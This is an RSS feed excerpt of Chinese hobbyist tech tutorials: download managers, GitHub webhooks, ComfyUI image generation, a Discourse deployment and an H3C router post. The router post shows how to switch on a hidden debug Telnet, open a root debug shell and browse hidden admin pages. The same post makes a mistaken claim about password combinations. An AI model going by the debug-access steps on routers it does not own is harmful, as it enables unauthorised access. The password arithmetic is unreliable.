<p>寻找浏览器扩展: <strong>Aria2 Explorer</strong></p>
|
||
<p>安装,然后 右键 - 扩展选项。在这里对接Motrix的RPC设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0f4a510b-378a-45ab-a35f-88cfa53593e3.CFPVI9jM.webp" alt="" /></p>
|
||
<p>最后,右键扩展,勾选上下载拦截,然后尝试进行下载。如果一切顺利,浏览器的下载将被Aria2 Explorer捕获并且发送给Motrix。你可以在<strong>Aria2 Explorer</strong>和<strong>Motrix</strong>处看到下载中的文件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/57fa7b18-541e-4115-a160-cd742735e298.hqSZRKD0.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>利用Github Repo WebHook来为你的订阅者推送文章更新信息</title><link>https://blog.acofork.com/posts/github-webhook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/github-webhook/</guid><description>针对于静态博客,博主在文章更新后一般需要手动通知订阅者阅读新的文章,本文通过Github WebHook来实现一个全自动的文章更新通知实现</description><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>原理解析</h1>
|
||
<p>我们都知道静态博客一般会托管在Github来方便其他静态网站构建服务提供商,如Cloudflare进行自动构建和发布站点。</p>
|
||
<p>我们可以在每一次Push后调用WebHook将提交信息发送给自己托管的服务(如QQBot),然后在你的订阅群广播这个消息即可</p>
|
||
<blockquote>
|
||
<p>注意:根据框架和构建提供商的不同,构建时长也会不同,请为广播消息设置一个延迟时间.</p>
|
||
<p>以便让你的订阅者收到文章更新消息后能够立即打开阅览而不是看到404或者错误的内容</p>
|
||
</blockquote>
|
||
<h1>正式开始</h1>
|
||
<h2>设置你的自托管WebHook接收器</h2>
|
||
<p>我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook,并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息</p>
|
||
<p><img src="https://blog.acofork.com/_astro/53b434e4-cf0e-4cfc-a688-054d13f1c01a.Cc5J0ZIn.webp" alt="" /></p>
|
||
<p>如果你的服务在内网,可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务</p>
|
||
<h2>配置Github Repo WebHook</h2>
|
||
<p>打开你的博客仓库。</p>
|
||
<p>在仓库设置找到WebHooks</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e899ddd6-9b3e-4d0a-848b-7f9b43d2004e.rZ0f_NFQ.webp" alt="" /></p>
|
||
<p>添加一个新的WebHook,如图设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/7fa35782-2d3c-4d18-afca-cb7db8ee36fc.Be3duUDY.webp" alt="" /></p>
|
||
<h2>开发测试</h2>
|
||
<p>在你的博客仓库进行一次Push操作,检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作</p>
|
||
</content:encoded></item><item><title>AI绘图发展了这么多年,你还不会画你推的同人图?</title><link>https://blog.acofork.com/posts/noobai-vpre/</link><guid isPermaLink="true">https://blog.acofork.com/posts/noobai-vpre/</guid><description>从零教你用上最新的NoobAI-V预测模型!2025年最值得上手最简单好用的模型!</description><pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>前情提要(坐牢实况)</h1>
|
||
<p>其实本来这篇文章应该在一个月前就发出来的,当时已经把部署方法写好了,但是脑子一热给系统重装了。教程没留下,模型没留下,prompt(提示词)没留下,图也没留下。然后就脱坑AI绘图了,然后就开始研究别的东西了</p>
|
||
<p>契机是昨天晚上(2025-05-12)看到有大佬在发一些精美的AI绘图。我这不服输的胜负欲啊...</p>
|
||
<p>然后就边和群u唱歌边研究AI绘图,前前后后把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、Comfyui全装了一遍各种找教程、实操、试错</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-11-58-34-image.BeHC9HqZ.png" alt="2025-05-13-11-58-34-image.png" /></p>
|
||
<p>好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把我曾经丢掉的知识找回来了,在纯小白的情况下,你可以跑出类似下面的图!(跑不出来你打死我!)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-11-59-50-ComfyUI_00016_.C2bct8Vh.png" alt="2025-05-13-11-59-50-ComfyUI_00016_.png" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-00-37-ComfyUI_00011_.VGVp1-2v.png" alt="2025-05-13-12-00-37-ComfyUI_00011_.png" /></p>
|
||
<h1>正式开始</h1>
|
||
<h2>下载NoobAI-V预测模型</h2>
|
||
<p>前往 <a href="https://civitai.com/models/833294?modelVersionId=1190596">NoobAI-XL (NAI-XL) - V-Pred-1.0-Version | NoobAI Checkpoint | Civitai</a> (需魔法)</p>
|
||
<p>点击下载即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-08-17-image.C61T8jbO.png" alt="2025-05-13-12-08-17-image.png" /></p>
|
||
<h2>安装Comfyui</h2>
|
||
<p>前往秋叶的视频评论区下载Comfyui整合包,下载并解压: https://www.bilibili.com/video/BV1Ew411776J</p>
|
||
<p>解压完后打开文件夹,打开 <code>A绘世启动器</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-05-17-image.DvTZ7M_A.png" alt="2025-05-13-12-05-17-image.png" /></p>
|
||
<p>点击右下角的开始运行,先让他进行初始化,直到它自动打开你的浏览器并且可以正常进入Comfyui的界面,如下图<img src="https://blog.acofork.com/_astro/2025-05-13-12-06-57-image.JtgBJS8y.png" alt="2025-05-13-12-06-57-image.png" /></p>
|
||
<h2>放置模型</h2>
|
||
<p>将我们刚才下载的NoobAI-V预测模型,类似 <code>noobaiXLNAIXL_vPred10Version.safetensors</code> 这样的文件放到 <code>ComfyUI-aki-v1.5\models\checkpoints</code> 下面,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-10-06-image.Cuh947be.png" alt="2025-05-13-12-10-06-image.png" /></p>
|
||
<h2>开始绘图</h2>
|
||
<p>刷新Comfyui,你应该可以在 <code>Checkpoint加载器(简易)</code> 处可以看到你放置的所有模型,选择带有 <code>vPred...</code> 的就是V预测模型</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-11-55-image.DQ1hqEAI.png" alt="2025-05-13-12-11-55-image.png" /></p>
|
||
<p>然后你想要画什么呢?比如崩铁的流萤?</p>
|
||
<p>进入 <a href="https://www.downloadmost.com/NoobAI-XL/danbooru-character/">Danbooru characters in NoobAI-XL (NAI-XL)</a></p>
|
||
<p>搜索流萤的英文名 <code>firefly</code> 或者搜索 <code>star rail</code> 找到所有关于崩铁的角色</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-15-16-image.BA4If9CQ.png" alt="2025-05-13-12-15-16-image.png" /></p>
|
||
<p>复制 <code>Prompt tags</code></p>
|
||
<p>回到Comfyui,将其粘贴进链接了正面条件的CLIP文本编码器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-16-35-image.DUS7avuk.png" alt="2025-05-13-12-16-35-image.png" /></p>
|
||
<p>这样角色预设就写好了</p>
|
||
<p>我这里也提供了一些起手的提示词</p>
|
||
<ul>
|
||
<li>
|
||
<p>正面条件:</p>
|
||
<pre><code>masterpiece, best quality, newest, absurdres, highres
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>负面条件:</p>
|
||
<pre><code>text, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro
|
||
</code></pre>
|
||
</li>
|
||
</ul>
|
||
<p>我们将其添加到Comfyui,如下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-19-32-image.CDBKdFXf.png" alt="2025-05-13-12-19-32-image.png" /></p>
|
||
<p>ok!接下来让我们配置K采样器</p>
|
||
<ul>
|
||
<li>
|
||
<p>步数:28-35</p>
|
||
</li>
|
||
<li>
|
||
<p>CFG:4-5</p>
|
||
</li>
|
||
<li>
|
||
<p>采样器:euler(❗重要!不能更改!可能会崩图!)</p>
|
||
</li>
|
||
</ul>
|
||
<p>没提到的参数自行斟酌调整,如果你不懂就不要乱调!</p>
|
||
<p>接下来设置图像尺寸,总面积约为 1024x1024。<strong>最推荐832x1216</strong>。其余:768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-22-06-image.Chr1jQrI.png" alt="2025-05-13-12-22-06-image.png" /></p>
|
||
<p>最终工作流如图,然后点击执行队列!
|
||
<img src="https://blog.acofork.com/_astro/2025-05-13-12-24-12-image.lWlG5HTT.png" alt="2025-05-13-12-24-12-image.png" /></p>
|
||
<p>然后你就能得到一张这样的图片:<img src="https://blog.acofork.com/_astro/2025-05-13-12-24-51-ComfyUI_00018_.BjLMzHQP.png" alt="2025-05-13-12-24-51-ComfyUI_00018_.png" /></p>
|
||
<p>如果你想要图片是不同的样子请在正面提示词和反面提示词添加(<strong>必须为英文!不知道的用翻译或者问AI!</strong>)。比如我这边想要让足部放到焦点上并且裸足就添加<strong>正面提示词</strong>: <code>barefoot,feet in foreground</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-13-12-27-07-ComfyUI_00019_.CTgtL6Dm.png" alt="2025-05-13-12-27-07-ComfyUI_00019_.png" /></p>
|
||
<h2>最后</h2>
|
||
<ul>
|
||
<li>
|
||
<p>AI生成的图片随机性较强。每一次生成的图片都不太一样。多试试</p>
|
||
</li>
|
||
<li>
|
||
<p>可以在负面提示词添加:<code>NSFW</code> ,在正面提示词添加 <code>safe</code> 这样就不会生成涩图</p>
|
||
</li>
|
||
<li>
|
||
<p>由于V预测模型较新,只能在SDForge和Comfyui上运行,原版SD无法运行,会崩图</p>
|
||
</li>
|
||
<li>
|
||
<p>参考:<a href="https://civitai.com/models/833294?modelVersionId=1046043">NoobAI-XL (NAI-XL) - V-Pred-0.5-Version | NoobAI Checkpoint | Civitai</a>。关于更多的此模型的技巧可以到图片对应处的About查看<img src="https://blog.acofork.com/_astro/2025-05-13-12-30-55-image.BiLsO0IT.png" alt="2025-05-13-12-30-55-image.png" /></p>
|
||
</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>让Vercel对接你的S3对象存储(仅下载)</title><link>https://blog.acofork.com/posts/s3cloudrive/</link><guid isPermaLink="true">https://blog.acofork.com/posts/s3cloudrive/</guid><description>可能很多小伙伴都使用过对象存储,但是他们大部分都没一个图形界面,虽然近年来有了AList这么一个非常全能的服务,但是仍然需要独立服务器,本篇将使用Vercel Function搭建一个精美的S3文件下载</description><pubDate>Mon, 05 May 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>视频教程(推荐): https://www.bilibili.com/video/BV17b5gz5Ea4</p>
|
||
</blockquote>
|
||
<h1>正式开始</h1>
|
||
<p>使用方法非常简单,进入GitHub仓库:<a href="https://github.com/afoim/S3cloudrive-index">GitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.</a></p>
|
||
<p>按照README部署即可</p>
|
||
<h1>原理</h1>
|
||
<p>采用Vercel Function登录S3,获取文件列表传递给前端拼接URL显示,原项目是对接的OneDrive:<a href="https://github.com/iRedScarf/onedrive-index">iRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.</a>。本项目仅更改了后端对接的存储类型,理论上你可以三改后对接任意存储...</p>
|
||
<p><s>本人想对接天翼云盘PC的驱动,但是登录鉴权一直不会做,有没有人来帮帮我()</s></p>
|
||
</content:encoded></item><item><title>手把手教你部署Discourse</title><link>https://blog.acofork.com/posts/discourse/</link><guid isPermaLink="true">https://blog.acofork.com/posts/discourse/</guid><description>Discourse是一个开源的强大的论坛系统,让你马上就能拥有自己的BBS</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>确保你安装了 <code>Docker</code> 和 <code>Docker-Compose</code></p>
|
||
<p>选一个目录创建 <code>docker-compose.yml</code></p>
|
||
<p>写入内容</p>
|
||
<pre><code>version: '2'
|
||
services:
|
||
postgresql:
|
||
image: docker.io/bitnami/postgresql:11
|
||
volumes:
|
||
- 'postgresql_data:/bitnami/postgresql'
|
||
environment:
|
||
- POSTGRESQL_POSTGRES_PASSWORD=admin12345
|
||
- POSTGRESQL_USERNAME=ex_discourse
|
||
- POSTGRESQL_PASSWORD=user12345
|
||
- POSTGRESQL_DATABASE=example_discourse
|
||
redis:
|
||
image: docker.io/bitnami/redis:6.0
|
||
environment:
|
||
- REDIS_PASSWORD=redis12345
|
||
volumes:
|
||
- 'redis_data:/bitnami/redis'
|
||
discourse:
|
||
image: docker.io/bitnami/discourse:2
|
||
ports:
|
||
- '127.0.0.1:880:3000'
|
||
volumes:
|
||
- 'discourse_data:/bitnami/discourse'
|
||
depends_on:
|
||
- postgresql
|
||
- redis
|
||
environment:
|
||
# 用户和站点配置
|
||
- DISCOURSE_HOST=example.com
|
||
- DISCOURSE_USERNAME=siteadmin
|
||
- DISCOURSE_PASSWORD=siteadmin12345
|
||
- DISCOURSE_EMAIL=siteadmin@gmail.com
|
||
# 数据库连接配置
|
||
- DISCOURSE_DATABASE_HOST=postgresql
|
||
- DISCOURSE_DATABASE_PORT_NUMBER=5432
|
||
- DISCOURSE_DATABASE_USER=ex_discourse
|
||
- DISCOURSE_DATABASE_PASSWORD=user12345
|
||
- DISCOURSE_DATABASE_NAME=example_discourse
|
||
# Redis 连接配置
|
||
- DISCOURSE_REDIS_HOST=redis
|
||
- DISCOURSE_REDIS_PORT_NUMBER=6379
|
||
- DISCOURSE_REDIS_PASSWORD=redis12345
|
||
# 使用 postgresql-client 为 Discourse 创建数据库
|
||
- POSTGRESQL_CLIENT_POSTGRES_USER=postgres
|
||
- POSTGRESQL_CLIENT_POSTGRES_PASSWORD=admin12345
|
||
- POSTGRESQL_CLIENT_CREATE_DATABASE_NAME=example_discourse
|
||
- POSTGRESQL_CLIENT_CREATE_DATABASE_EXTENSIONS=hstore,pg_trgm
|
||
# SMTP
|
||
- DISCOURSE_SMTP_HOST=smtp.mailgun.org
|
||
- DISCOURSE_SMTP_PORT=587
|
||
- DISCOURSE_SMTP_USER=邮箱用户名
|
||
- DISCOURSE_SMTP_PASSWORD=邮箱密码
|
||
- DISCOURSE_SMTP_PROTOCOL=tls或ssl
|
||
- DISCOURSE_SMTP_AUTH=login
|
||
sidekiq:
|
||
image: docker.io/bitnami/discourse:2
|
||
depends_on:
|
||
- discourse
|
||
volumes:
|
||
- 'sidekiq_data:/bitnami/discourse'
|
||
command: /opt/bitnami/scripts/discourse-sidekiq/run.sh
|
||
environment:
|
||
# 用户和站点配置
|
||
- DISCOURSE_HOST=example.com
|
||
- DISCOURSE_USERNAME=siteadmin
|
||
- DISCOURSE_PASSWORD=siteadmin12345
|
||
- DISCOURSE_EMAIL=siteadmin@gmail.com
|
||
# 数据库连接配置
|
||
- DISCOURSE_DATABASE_HOST=postgresql
|
||
- DISCOURSE_DATABASE_PORT_NUMBER=5432
|
||
- DISCOURSE_DATABASE_USER=ex_discourse
|
||
- DISCOURSE_DATABASE_PASSWORD=user12345
|
||
- DISCOURSE_DATABASE_NAME=example_discourse
|
||
# Redis 连接配置
|
||
- DISCOURSE_REDIS_HOST=redis
|
||
- DISCOURSE_REDIS_PORT_NUMBER=6379
|
||
- DISCOURSE_REDIS_PASSWORD=redis12345
|
||
# SMTP
|
||
- DISCOURSE_SMTP_HOST=smtp.mailgun.org
|
||
- DISCOURSE_SMTP_PORT=587
|
||
- DISCOURSE_SMTP_USER=邮箱用户名
|
||
- DISCOURSE_SMTP_PASSWORD=邮箱密码
|
||
- DISCOURSE_SMTP_PROTOCOL=tls或ssl
|
||
- DISCOURSE_SMTP_AUTH=login
|
||
volumes:
|
||
postgresql_data:
|
||
driver: local
|
||
redis_data:
|
||
driver: local
|
||
discourse_data:
|
||
driver: local
|
||
sidekiq_data:
|
||
driver: local
|
||
</code></pre>
|
||
<p>需要修改的部分。配置文件中两份都要改</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>需替换值</th>
|
||
<th>解释</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>admin12345</td>
|
||
<td>数据库管理员密码(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>ex_discourse</td>
|
||
<td>数据库用户名(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>user12345</td>
|
||
<td>数据库用户密码(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>example_discourse</td>
|
||
<td>数据库名(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>redis12345</td>
|
||
<td>Redis 密码(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>127.0.0.1:880</td>
|
||
<td>映射端口(可选)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>example.com</td>
|
||
<td>网站IP或域名(不加HTTP)(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>siteadmin</td>
|
||
<td>网站管理员用户名(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>siteadmin12345</td>
|
||
<td>网站管理员密码(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>siteadmin@gmail.com</td>
|
||
<td>网站管理员邮箱(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>smtp.mailgun.org</td>
|
||
<td>邮箱HOST(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>587</td>
|
||
<td>邮箱端口。只能用587端口(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>邮箱用户名</td>
|
||
<td>邮箱用户名(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>邮箱密码</td>
|
||
<td>邮箱密码(或者授权码)(<strong>必改</strong>)</td>
|
||
</tr>
|
||
<tr>
|
||
<td>tls</td>
|
||
<td>邮箱协议。只能用TLS协议(<strong>必改</strong>)</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>如果需要一个支持SMTP TLS的邮箱服务可以使用<a href="/posts/exmail-qq/">微信企业邮</a></p>
|
||
<p>构建:</p>
|
||
<pre><code>docker compose up -d
|
||
</code></pre>
|
||
<p>如果遇到 <code>docker.io</code> 无法访问。可以使用镜像源</p>
|
||
<p>部署完毕后查看 <code>discourse-discourse-1</code> 容器的日志</p>
|
||
<p>如果看到下述日志,则Discourse正在进行预编译资源,稍等几分钟即可</p>
|
||
<pre><code>INFO ==&gt; Precompiling assets, this may take some time...
|
||
</code></pre>
|
||
<p>如果看到下述日志,证明Discourse已经在容器内3000端口启动了</p>
|
||
<pre><code>Accessible via: http://0.0.0.0:3000/
|
||
</code></pre>
|
||
<p>接下来访问你设置的域名(如果没有做解析或者网站在内网可以使用Cloudflare Tunnel曲线救国)</p>
|
||
<p>访问,大功告成</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-22-20-51-image.xdQFbSEg.png" alt="2025-05-02-22-20-51-image.png" /></p>
|
||
</content:encoded></item><item><title>手把手教你用上微信企业(域名)邮箱(免费!)</title><link>https://blog.acofork.com/posts/exmail-qq/</link><guid isPermaLink="true">https://blog.acofork.com/posts/exmail-qq/</guid><description>非常简单,只需要改几个MX记录就行~</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>之前我写过一篇<a href="/posts/163-free-domain-email/">网易企业邮</a>的文章,但真的投入使用后发现各种毛病是层出不穷。比如SMTP/IMAP/POP3默认是关的,你想打开就弹出一个 <code>管理员未开启当前登录权限</code> ...</p>
|
||
<p>我TM是不是管理员啊,你倒是TM告诉我TMD这个在哪开啊!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-20-54-05-image.CwhX9d9B.png" alt="2025-05-02-20-54-05-image.png" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-20-54-18-image.ybp5xSGs.png" alt="2025-05-02-20-54-18-image.png" /></p>
|
||
<p>而微信企业邮完美解决了这些问题,开启SMTP/IMAP/POP3服务非常简单,而且也没有网易那么草台</p>
|
||
<h1>正式开始</h1>
|
||
<p>首先进入 <a href="https://work.weixin.qq.com/mail/">腾讯企业邮箱</a> 创建一个企业,会让你绑定企业微信,按照步骤弄好就行</p>
|
||
<p>接下来绑定域名,添加几条MX记录即可</p>
|
||
<p>最后是重头戏,开启SMTP/IMAP/POP3</p>
|
||
<p>我们需要前往 <a href="https://exmail.qq.com/login">腾讯企业邮箱-登录入口</a></p>
|
||
<p>注意,这里点击 <code>其他方式登录</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-20-57-24-image.DnG0i4dw.png" alt="2025-05-02-20-57-24-image.png" /></p>
|
||
<p>然后选择账号密码登录</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-20-57-44-image.CCD3acAO.png" alt="2025-05-02-20-57-44-image.png" /></p>
|
||
<p>接着选择成员登录(如果直接进去了就跳过这一步)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-20-59-22-image.CKE9Ad2l.png" alt="2025-05-02-20-59-22-image.png" /></p>
|
||
<p>接下来左上角点击设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-21-00-08-image.DkpLqn-A.png" alt="2025-05-02-21-00-08-image.png" /></p>
|
||
<p>收发信设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-21-00-31-image.ByIbo2na.png" alt="2025-05-02-21-00-31-image.png" /></p>
|
||
<p>这里就能查看到SMTP和IMAP的地址和端口(实测TLS也是支持的,只是它没写)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-21-01-07-image.3qJcufid.png" alt="2025-05-02-21-01-07-image.png" /></p>
|
||
<p>接下来前往邮箱绑定</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-21-01-36-image.B-tVYis0.png" alt="2025-05-02-21-01-36-image.png" /></p>
|
||
<p>生成新密码</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-21-01-57-image.Bm4ngrCy.png" alt="2025-05-02-21-01-57-image.png" /></p>
|
||
<p>接着随便找一个邮箱客户端去测试即可</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.png" alt="2025-05-02-21-03-17-Screenshot_2025-05-02-21-02-29-86.jpg" /></p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.png" alt="2025-05-02-21-03-45-Screenshot_2025-05-02-21-03-32-54_6cf654f91021b6b.jpg" /></p>
|
||
<p>接着你就可以拿这个邮箱给你的博客论坛用啦</p>
|
||
</content:encoded></item><item><title>关于我对路由器瞎改一通让网速变快了这档事</title><link>https://blog.acofork.com/posts/h3c-debug/</link><guid isPermaLink="true">https://blog.acofork.com/posts/h3c-debug/</guid><description>我家是H3C路由器,虽然他是OpenWRT的系统,但是却没法直接刷成iStoreOS,但是偶然一天,我发现他有Telnet,于是...</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>起因是我经常使用的Cloudflare梯子访问速度变慢,而且经常被RST重置。买了个小鸡后自己搭了个Reality的梯子还是经常掉线,甚至HTTP协议的面板访问都超时。于是我便开始鼓捣起路由器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-25-12-image.WmJzJvN3.png" alt="2025-05-02-04-25-12-image.png" /></p>
|
||
<h3>小插曲 - 光猫桥接的坏处</h3>
|
||
<p>在我研究的时候,咔,突然就上不了网了,往H3C路由器后台一看,发现PPPoE拨号显示服务器无响应</p>
|
||
<p>我思考了一下,我现在的网络架构是光猫桥接,路由器拨号,现在路由器拨号显示服务器无响应。暂时还不知道是什么问题,最好的方法是去光猫后台看看</p>
|
||
<p>然后我就在浏览器输入 <code>192.168.1.1</code> 然后看着他转啊转,转啊转,然后连接超时</p>
|
||
<p>我又一想,对啊,光猫桥接路由拨号那么路由器必然不在光猫管理后台的网段,自然也就没法通过路由器的WiFi进入光猫的后台(后面发现并非如此)</p>
|
||
<p>然后我就又思考,我记得光猫是开启了WiFi的,一找还真有,连一下,忘记密码了,试了好几遍也不行</p>
|
||
<p>那么既然暂时连不上光猫的WiFi,那我就物理接触一下光猫吧🤔</p>
|
||
<p>一看时间,哟,凌晨1点,光猫在隔壁房间,还有人睡觉呢,那看来这个法子也行不通</p>
|
||
<p>暴力破解一下吧,算了一下,哪怕是4位数字排列组合也有78,074,896种可能,而且对面光猫也不会秒响应,至少要等个3秒,那么算下来就是我最差需要花费234,224,688秒,也就是3,903,744.8分钟,65,062.41333333333小时,2,710.933888888889天。额...算了吧</p>
|
||
<p>继续思考,既然光猫和路由器是物理连接上的,那么我改改路由器的设置是不是能连上光猫呢?</p>
|
||
<p>我觉得行得通,但是问了AI,给我扯了一堆乱七八糟的结果是行不通(其实行得通)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-05-45-image.Dqsirms3.png" alt="2025-05-02-04-05-45-image.png" /></p>
|
||
<p>然后就是乱七八糟的尝试。终于我发现,<strong>将路由器改为静态IP模式,将IP改为192.168.1.2,网关改为192.168.1.1的时候,成功进入了192.168.1.1,也就是光猫的后台</strong></p>
|
||
<p>然后一查看,PON链路连接状态:未连接</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.png" alt="2025-05-02-04-07-34-ea6cb596e8abff1d34736282716a222f_720.jpg" /></p>
|
||
<p>这一般是光纤松了,但是我现在也摸不到光猫啊</p>
|
||
<p>思考到这的我决定睡觉吧,睡一觉就好了</p>
|
||
<p>结果2小时后它自己好了...</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-09-30-image.DzrKwoGl.png" alt="2025-05-02-04-09-30-image.png" /></p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.png" alt="2025-05-02-04-09-33-7e66540d3f1540de42cd16fd7d976a62.jpg" /></p>
|
||
<p>插曲 End</p>
|
||
<h1>行动一:通过Telnet登录路由器</h1>
|
||
<p>其实我早就知道这个H3C路由器可以打开Telnet并且登录进去过知道它是OpenWRT,但是因为这个机子不能刷机,而且OpenWRT版本在15.05.1(在2025-05-02,最新稳定版的OpenWRT版本为24.10.0)😅</p>
|
||
<p>姑且说一下H3C家用终端怎么开Telnet吧</p>
|
||
<p>进入下述网址,你就能看到Telnet开关,打开即可</p>
|
||
<pre><code>https://192.168.124.1/debug.asp
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-14-04-image.c0OJtivr.png" alt="2025-05-02-04-14-04-image.png" /></p>
|
||
<p>顺带一提</p>
|
||
<p>NAT转换方式为三元组最开放。其他看不懂的东西建议不要动</p>
|
||
<p>接着就是通过Telnet登录路由器了</p>
|
||
<p>H3C的Telnet端口为15000,登录进去后是这样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-15-54-image.BpOSv2GB.png" alt="2025-05-02-04-15-54-image.png" /></p>
|
||
<p>这个界面下我也不知道有啥能操作的,接着输入 <code>debugshell</code> 进入OpenWRT系统(当成没有包管理器的Linux用就行[因为这系统太老了 opkg找不到任何软件源,啥也装不了😅])</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-17-46-image.BFsPQlcy.png" alt="2025-05-02-04-17-46-image.png" /></p>
|
||
<p>这下看懂了</p>
|
||
<h1>行动二:找隐藏页面</h1>
|
||
<p>既然有 <code>debug.asp</code> 那是不是还有更多隐藏的页面呢</p>
|
||
<p>首先看看这个系统里面都有啥</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-18-59-image.DaQYSXYH.png" alt="2025-05-02-04-18-59-image.png" /></p>
|
||
<p>发现了 <code>www</code> 目录,进入看看</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-19-43-image.BxfJ4rwb.png" alt="2025-05-02-04-19-43-image.png" /></p>
|
||
<p>看来这就是供用户访问的Web服务的源,但这里还有很多静态文件(比如CSS,PNG),我们筛选一下 <code>.asp</code> 文件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-21-10-image.hKa5YiYp.png" alt="2025-05-02-04-21-10-image.png" /></p>
|
||
<p>挨个访问看看,有不少隐藏的页面</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.t1flmBj2.png" alt="2025-05-02-04-21-48-ee25e30ecca07bf2d1ba4251809dd4d3.png" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.Byladlvw.png" alt="2025-05-02-04-21-52-f2dba1c3e41f7bad4fa940eb81eb3122.png" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.CGDdAlcp.png" alt="2025-05-02-04-21-56-bb2477a30fcc13f293cb87ba4fe48c66.png" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.DmH6ov-N.png" alt="2025-05-02-04-22-01-c2cac252a281573c0a3929d4fe74df65.png" /></p>
|
||
